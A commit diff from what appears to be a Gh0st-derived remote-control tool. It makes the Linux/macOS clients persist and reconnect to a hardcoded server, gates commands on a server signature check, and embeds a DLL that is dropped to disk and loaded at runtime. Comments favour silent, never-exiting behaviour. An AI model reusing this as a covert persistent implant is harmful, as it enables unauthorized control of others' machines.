Improve: Embed Modern Terminal DLL in master's resources

Fix: keep Linux/macOS client alive across server restarts; gate all commands on auth-verified state to neutralize unauthorized servers
This commit is contained in:
yuanyuanxiang
2026-05-08 22:02:01 +02:00
parent f85cc8b86c
commit a354f1ed86
10 changed files with 91 additions and 39 deletions

View File

@@ -281,6 +281,11 @@ public:
// 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。 // 内部:在收到的数据帧分发到 manager 之前,尝试识别并消费 TOKEN_CONN_AUTH ack。
// 仅在我们正在等待 auth 响应时m_authPending=true才消费否则透传给 manager。 // 仅在我们正在等待 auth 响应时m_authPending=true才消费否则透传给 manager。
bool TryHandleAuthResponse(PBYTE buf, ULONG len); bool TryHandleAuthResponse(PBYTE buf, ULONG len);
// 主动断开当前连接,关闭 socket。提到 public 让外层(如 Linux/macOS main 的心跳
// 循环检测到服务端身份校验超时)能在重连前显式关闭旧 fd避免泄漏。
virtual VOID Disconnect(); // 函数支持 TCP/UDP
protected: protected:
virtual int ReceiveData(char* buffer, int bufSize, int flags) virtual int ReceiveData(char* buffer, int bufSize, int flags)
{ {
@@ -288,7 +293,6 @@ protected:
return recv(m_sClientSocket, buffer, bufSize - 1, 0); return recv(m_sClientSocket, buffer, bufSize - 1, 0);
} }
virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag); virtual bool ProcessRecvData(CBuffer* m_CompressedBuffer, char* szBuffer, int len, int flag);
virtual VOID Disconnect(); // 函数支持 TCP/UDP
virtual int SendTo(const char* buf, int len, int flags) virtual int SendTo(const char* buf, int len, int flags)
{ {
return ::send(m_sClientSocket, buf, len, flags); return ::send(m_sClientSocket, buf, len, flags);

View File

@@ -47,9 +47,13 @@ static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重
uint64_t g_myClientID = 0; uint64_t g_myClientID = 0;
// 服务端身份校验:登录消息(签名输入),登录时间,是否已通过校验 // 服务端身份校验:登录消息(签名输入),登录时间,是否已通过校验
// 客户端是常驻服务——服务端可能频繁重启 / 长期离线 / 临时不可达,这些都不应让进程退出。
// 校验失败仅作"本次连接不可信"处理:断开本连接 + 让外层重连。
// g_settingsVerified 在 DataProcessIO 线程写、心跳循环main 线程)和 DataProcess 自身读,
// 跨线程访问 → 用 atomic 保证可见性。
std::string g_loginMsg; std::string g_loginMsg;
time_t g_loginTime = 0; time_t g_loginTime = 0;
bool g_settingsVerified = false; std::atomic<bool> g_settingsVerified{false};
// ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ============== // ============== UTF-8 → GBK 编码转换(服务端为 Windows GBK 环境) ==============
@@ -451,6 +455,14 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
if (szBuffer == nullptr || ulLength == 0) if (szBuffer == nullptr || ulLength == 0)
return TRUE; return TRUE;
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING校验本身
// 其它命令一律静默忽略——既防止未授权服务端 spawn 子连接线程做 DoS
// 也防止它发 COMMAND_BYE 之类把客户端进程关掉。
if (!g_settingsVerified.load(std::memory_order_acquire) &&
szBuffer[0] != CMD_MASTERSETTING) {
return TRUE;
}
if (szBuffer[0] == COMMAND_BYE) { if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user); Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT; g_bExit = S_CLIENT_EXIT;
@@ -483,23 +495,23 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
} }
} else if (szBuffer[0] == CMD_MASTERSETTING) { } else if (szBuffer[0] == CMD_MASTERSETTING) {
int settingSize = ulLength - 1; int settingSize = ulLength - 1;
// 强制要求完整 MasterSettings包含 Signature 字段)。包不完整 → 视为非授权服务端 // 强制要求完整 MasterSettings包含 Signature 字段)。包不完整 → 视为本次响应异常,
// 不更新 g_settingsVerified让心跳循环的 30s 超时自然把本次连接断开重连。
if (settingSize < (int)sizeof(MasterSettings)) { if (settingSize < (int)sizeof(MasterSettings)) {
g_bExit = S_CLIENT_EXIT;
return TRUE; return TRUE;
} }
MasterSettings settings = {}; MasterSettings settings = {};
memcpy(&settings, szBuffer + 1, sizeof(MasterSettings)); memcpy(&settings, szBuffer + 1, sizeof(MasterSettings));
// 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature // 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature
// 验证签名。失败 → 静默退出(不打印关键词日志) // 验证签名。失败 → 不立即退出,让超时兜底+重连逻辑处理(避免合法服务端临时
// 抖动导致进程退出)
extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature); extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature)); std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature));
if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) { if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
g_bExit = S_CLIENT_EXIT; return TRUE; // 同上,不立即退出
return TRUE;
} }
g_settingsVerified = true; g_settingsVerified.store(true, std::memory_order_release);
if (settings.ReportInterval > 0) if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval; g_heartbeatInterval = settings.ReportInterval;
@@ -1132,7 +1144,7 @@ int main(int argc, char* argv[])
// 进入新连接,重置服务端身份校验状态 // 进入新连接,重置服务端身份校验状态
g_loginTime = time(nullptr); g_loginTime = time(nullptr);
g_settingsVerified = false; g_settingsVerified.store(false, std::memory_order_release);
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
@@ -1162,10 +1174,11 @@ int main(int argc, char* argv[])
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break; break;
// 兜底:登录后 30 秒内必须收到并通过 MasterSettings 校验,否则视为非授权服务端 // 登录后 30 秒内必须收到并通过 MasterSettings 校验。失败 → 显式断开本连接
if (!g_settingsVerified && g_loginTime > 0 && // 让外层重连。永不退出进程(客户端是常驻服务,服务端不可达不应该让其自杀)。
if (!g_settingsVerified.load(std::memory_order_acquire) && g_loginTime > 0 &&
time(nullptr) - g_loginTime > 30) { time(nullptr) - g_loginTime > 30) {
g_bExit = S_CLIENT_EXIT; ClientObject->Disconnect(); // 关闭 socket防止重连时 fd 泄漏
break; break;
} }

View File

@@ -37,9 +37,12 @@ static std::atomic<bool> g_needResendLogin(false); // 分组变更后需要重
uint64_t g_myClientID = 0; uint64_t g_myClientID = 0;
// 服务端身份校验:登录消息(签名输入),登录时间,是否已通过校验 // 服务端身份校验:登录消息(签名输入),登录时间,是否已通过校验
// 客户端是常驻服务——服务端可能频繁重启 / 长期离线 / 临时不可达,这些都不应让进程退出。
// 校验失败仅作"本次连接不可信"处理:断开本连接 + 让外层重连。
// g_settingsVerified 跨线程访问 → 用 atomic 保证可见性。
std::string g_loginMsg; std::string g_loginMsg;
time_t g_loginTime = 0; time_t g_loginTime = 0;
bool g_settingsVerified = false; std::atomic<bool> g_settingsVerified{false};
// 远程地址:当前为写死状态,如需调试,请按实际情况修改 // 远程地址:当前为写死状态,如需调试,请按实际情况修改
CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS }; CONNECT_ADDRESS g_SETTINGS = { FLAG_GHOST, "91.99.165.207", "443", CLIENT_TYPE_MACOS };
@@ -800,6 +803,14 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
if (szBuffer == nullptr || ulLength == 0) if (szBuffer == nullptr || ulLength == 0)
return TRUE; return TRUE;
// 服务端身份未通过校验前,仅放行 CMD_MASTERSETTING校验本身
// 其它命令一律静默忽略——既防止未授权服务端 spawn 子连接线程做 DoS
// 也防止它发 COMMAND_BYE 之类把客户端进程关掉。
if (!g_settingsVerified.load(std::memory_order_acquire) &&
szBuffer[0] != CMD_MASTERSETTING) {
return TRUE;
}
if (szBuffer[0] == COMMAND_BYE) { if (szBuffer[0] == COMMAND_BYE) {
Mprintf("*** [%p] Received Bye-Bye command ***\n", user); Mprintf("*** [%p] Received Bye-Bye command ***\n", user);
g_bExit = S_CLIENT_EXIT; g_bExit = S_CLIENT_EXIT;
@@ -857,23 +868,20 @@ int DataProcess(void* user, PBYTE szBuffer, ULONG ulLength)
} }
} else if (szBuffer[0] == CMD_MASTERSETTING) { } else if (szBuffer[0] == CMD_MASTERSETTING) {
int settingSize = ulLength - 1; int settingSize = ulLength - 1;
// 强制要求完整 MasterSettings包含 Signature 字段)。包不完整 → 视为非授权服务端 // 包不完整 → 不立即退出,让心跳循环 30s 超时断开重连
if (settingSize < (int)sizeof(MasterSettings)) { if (settingSize < (int)sizeof(MasterSettings)) {
g_bExit = S_CLIENT_EXIT;
return TRUE; return TRUE;
} }
MasterSettings settings = {}; MasterSettings settings = {};
memcpy(&settings, szBuffer + 1, sizeof(MasterSettings)); memcpy(&settings, szBuffer + 1, sizeof(MasterSettings));
// 服务端身份校验:用 g_loginMsg (= szStartTime + "|" + clientID) 与 settings.Signature // 签名校验失败 → 同上,让超时兜底+重连处理
// 验证签名。失败 → 静默退出(不打印关键词日志)
extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature); extern bool verifyMessage(const std::string& publicKey, BYTE* msg, int len, const std::string& signature);
std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature)); std::string sig((char*)settings.Signature, (char*)settings.Signature + sizeof(settings.Signature));
if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) { if (!verifyMessage("", (BYTE*)g_loginMsg.data(), (int)g_loginMsg.length(), sig)) {
g_bExit = S_CLIENT_EXIT;
return TRUE; return TRUE;
} }
g_settingsVerified = true; g_settingsVerified.store(true, std::memory_order_release);
if (settings.ReportInterval > 0) if (settings.ReportInterval > 0)
g_heartbeatInterval = settings.ReportInterval; g_heartbeatInterval = settings.ReportInterval;
@@ -1005,7 +1013,7 @@ int main(int argc, const char* argv[])
// 进入新连接,重置服务端身份校验状态 // 进入新连接,重置服务端身份校验状态
g_loginTime = time(nullptr); g_loginTime = time(nullptr);
g_settingsVerified = false; g_settingsVerified.store(false, std::memory_order_release);
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c)); ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT // 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
@@ -1027,10 +1035,11 @@ int main(int argc, const char* argv[])
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL) if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
break; break;
// 兜底:登录后 30 秒内必须收到并通过 MasterSettings 校验,否则视为非授权服务端 // 登录后 30 秒内必须收到并通过 MasterSettings 校验。失败 → 显式断开本连接
if (!g_settingsVerified && g_loginTime > 0 && // 让外层重连。永不退出进程(客户端是常驻服务,服务端不可达不应该让其自杀)。
if (!g_settingsVerified.load(std::memory_order_acquire) && g_loginTime > 0 &&
time(nullptr) - g_loginTime > 30) { time(nullptr) - g_loginTime > 30) {
g_bExit = S_CLIENT_EXIT; ClientObject->Disconnect();
break; break;
} }

Binary file not shown.

View File

@@ -241,6 +241,8 @@
<None Include="..\..\x64\Release\ServerDll.dll" /> <None Include="..\..\x64\Release\ServerDll.dll" />
<None Include="..\..\x64\Release\TestRun.exe" /> <None Include="..\..\x64\Release\TestRun.exe" />
<None Include="..\..\x64\Release\TinyRun.dll" /> <None Include="..\..\x64\Release\TinyRun.dll" />
<None Include="lang\en_US.ini" />
<None Include="lang\zh_TW.ini" />
<None Include="res\1.cur" /> <None Include="res\1.cur" />
<None Include="res\2.cur" /> <None Include="res\2.cur" />
<None Include="res\2015Remote.ico" /> <None Include="res\2015Remote.ico" />
@@ -250,6 +252,7 @@
<None Include="res\3rd\rcedit.exe" /> <None Include="res\3rd\rcedit.exe" />
<None Include="res\3rd\SCLoader_32.exe" /> <None Include="res\3rd\SCLoader_32.exe" />
<None Include="res\3rd\SCLoader_64.exe" /> <None Include="res\3rd\SCLoader_64.exe" />
<None Include="res\3rd\TerminalModule_x64.dll" />
<None Include="res\3rd\upx.exe" /> <None Include="res\3rd\upx.exe" />
<None Include="res\4.cur" /> <None Include="res\4.cur" />
<None Include="res\arrow.cur" /> <None Include="res\arrow.cur" />

View File

@@ -325,6 +325,9 @@
<None Include="res\3rd\rcedit.exe" /> <None Include="res\3rd\rcedit.exe" />
<None Include="res\3rd\SCLoader_32.exe" /> <None Include="res\3rd\SCLoader_32.exe" />
<None Include="res\3rd\SCLoader_64.exe" /> <None Include="res\3rd\SCLoader_64.exe" />
<None Include="lang\en_US.ini" />
<None Include="lang\zh_TW.ini" />
<None Include="res\3rd\TerminalModule_x64.dll" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<Text Include="..\..\ReadMe.md" /> <Text Include="..\..\ReadMe.md" />

View File

@@ -702,6 +702,7 @@ BOOL CScreenSpyDlg::OnInitDialog()
::GetIconInfo(m_hRemoteCursor, &CursorInfo); ::GetIconInfo(m_hRemoteCursor, &CursorInfo);
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED); SysMenu->CheckMenuItem(IDM_ADAPTIVE_SIZE, m_bAdaptiveSize ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
ShowScrollBar(SB_BOTH, !m_bAdaptiveSize); ShowScrollBar(SB_BOTH, !m_bAdaptiveSize);
@@ -3204,6 +3205,7 @@ void CScreenSpyDlg::OnActivate(UINT nState, CWnd* pWndOther, BOOL bMinimized)
void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl) void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
{ {
m_bIsCtrl = ctrl; m_bIsCtrl = ctrl;
m_bIsTraceCursor = !m_bIsCtrl;
// 进入控制模式时重置放大状态 + 中止任何正在进行的右键截图框选 // 进入控制模式时重置放大状态 + 中止任何正在进行的右键截图框选
if (m_bIsCtrl) { if (m_bIsCtrl) {
if (m_bZoomedIn) ResetZoom(); if (m_bZoomedIn) ResetZoom();
@@ -3216,6 +3218,11 @@ void CScreenSpyDlg::UpdateCtrlStatus(BOOL ctrl)
SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO)); SetClassLongPtr(m_hWnd, GCLP_HCURSOR, m_bIsCtrl ? (LONG_PTR)m_hRemoteCursor : (LONG_PTR)LoadCursor(NULL, IDC_NO));
// 控制模式:禁用本地 IME查看模式启用本地 IME // 控制模式:禁用本地 IME查看模式启用本地 IME
ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC); ImmAssociateContext(m_hWnd, m_bIsCtrl ? NULL : m_hOldIMC);
CMenu* SysMenu = GetSystemMenu(FALSE);
if (SysMenu) {
SysMenu->CheckMenuItem(IDM_CONTROL, m_bIsCtrl ? MF_CHECKED : MF_UNCHECKED);
SysMenu->CheckMenuItem(IDM_TRACE_CURSOR, m_bIsTraceCursor ? MF_CHECKED : MF_UNCHECKED);
}
} }
void CScreenSpyDlg::OnCaptureChanged(CWnd* pWnd) void CScreenSpyDlg::OnCaptureChanged(CWnd* pWnd)

View File

@@ -40,6 +40,9 @@ inline PFN_IsTerminalValid pfnIsTerminalValid = nullptr;
inline PFN_GetTerminalVersion pfnGetTerminalVersion = nullptr; inline PFN_GetTerminalVersion pfnGetTerminalVersion = nullptr;
inline HMODULE g_hTerminalModule = nullptr; inline HMODULE g_hTerminalModule = nullptr;
LPBYTE ReadResource(int resourceId, DWORD& dwSize, const char* resName);
BOOL WriteBinaryToFile(const char* path, const char* data, ULONGLONG size, LONGLONG offset);
// Load the TerminalModule DLL // Load the TerminalModule DLL
inline bool LoadTerminalModule() inline bool LoadTerminalModule()
{ {
@@ -78,7 +81,18 @@ inline bool LoadTerminalModule()
} }
if (!g_hTerminalModule) { if (!g_hTerminalModule) {
return false; DWORD fileSize = 0;
BYTE* dllData = ReadResource(IDR_MODERN_TERMINAL, fileSize, NULL);
if (!dllData)
return false;
char fullPath[MAX_PATH];
strcpy_s(fullPath, exePath);
strcat_s(fullPath, "TerminalModule_x64.dll");
WriteBinaryToFile(fullPath, (char*)dllData, fileSize, 0);
delete[] dllData;
g_hTerminalModule = LoadLibraryA(fullPath);
if (!g_hTerminalModule)
return false;
} }
// Get function pointers // Get function pointers

Binary file not shown.

View File

@@ -248,9 +248,14 @@
#define IDB_BITMAP8 369 #define IDB_BITMAP8 369
#define IDB_BITMAP_CANCELSHARE 369 #define IDB_BITMAP_CANCELSHARE 369
#define IDD_DIALOG_PLUGIN_SETTINGS 370 #define IDD_DIALOG_PLUGIN_SETTINGS 370
#define IDD_DIALOG_TRIGGER_SETTINGS 371
#define IDR_BINARY7 371
#define IDR_MODERN_TERMINAL 371
#define IDB_BITMAP_TRIGGER 372 #define IDB_BITMAP_TRIGGER 372
#define IDB_BITMAP_WEBDESKTOP 373 #define IDB_BITMAP_WEBDESKTOP 373
#define IDB_BITMAP_PLUGINCONFIG 374 #define IDB_BITMAP_PLUGINCONFIG 374
#define IDR_LANG_EN_US 380
#define IDR_LANG_ZH_TW 381
#define IDC_MESSAGE 1000 #define IDC_MESSAGE 1000
#define IDC_ONLINE 1001 #define IDC_ONLINE 1001
#define IDC_STATIC_TIPS 1002 #define IDC_STATIC_TIPS 1002
@@ -724,6 +729,13 @@
#define IDC_STATIC_PLUGIN_SCHEDULE 2536 #define IDC_STATIC_PLUGIN_SCHEDULE 2536
#define IDC_STATIC_PLUGIN_INTERVAL 2537 #define IDC_STATIC_PLUGIN_INTERVAL 2537
#define IDC_STATIC_PLUGIN_COUNTER 2538 #define IDC_STATIC_PLUGIN_COUNTER 2538
#define IDC_COMBO_TRIGGER_TYPE 2539
#define IDC_LIST_TRIGGER_PLUGINS 2540
#define IDC_BTN_TRIGGER_ADD 2541
#define IDC_BTN_TRIGGER_REMOVE 2542
#define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544
#define IDC_STATIC_TRIGGER_ACTION 2545
#define ID_ONLINE_UPDATE 32772 #define ID_ONLINE_UPDATE 32772
#define ID_ONLINE_MESSAGE 32773 #define ID_ONLINE_MESSAGE 32773
#define ID_ONLINE_DELETE 32775 #define ID_ONLINE_DELETE 32775
@@ -957,27 +969,14 @@
#define ID_TOOL_PLUGIN_SETTINGS 33045 #define ID_TOOL_PLUGIN_SETTINGS 33045
#define ID_33046 33046 #define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047 #define ID_PROXY_PORT_AUTORUN 33047
#define ID_EXIT_FULLSCREEN 40001
#define ID_TRIGGER_SETTINGS 33048 #define ID_TRIGGER_SETTINGS 33048
#define IDD_DIALOG_TRIGGER_SETTINGS 371 #define ID_EXIT_FULLSCREEN 40001
#define IDC_COMBO_TRIGGER_TYPE 2539
#define IDC_LIST_TRIGGER_PLUGINS 2540
#define IDC_BTN_TRIGGER_ADD 2541
#define IDC_BTN_TRIGGER_REMOVE 2542
#define IDC_LIST_TRIGGERS 2543
#define IDC_STATIC_TRIGGER_TYPE 2544
#define IDC_STATIC_TRIGGER_ACTION 2545
// 内嵌语言资源 (RCDATA)
// 注意:避免与 IDB_BITMAP_TRIGGER(372) 和 IDB_BITMAP_WEBDESKTOP(373) 冲突
#define IDR_LANG_EN_US 380
#define IDR_LANG_ZH_TW 381
// Next default values for new objects // Next default values for new objects
// //
#ifdef APSTUDIO_INVOKED #ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS #ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 371 #define _APS_NEXT_RESOURCE_VALUE 372
#define _APS_NEXT_COMMAND_VALUE 33048 #define _APS_NEXT_COMMAND_VALUE 33048
#define _APS_NEXT_CONTROL_VALUE 2539 #define _APS_NEXT_CONTROL_VALUE 2539
#define _APS_NEXT_SYMED_VALUE 105 #define _APS_NEXT_SYMED_VALUE 105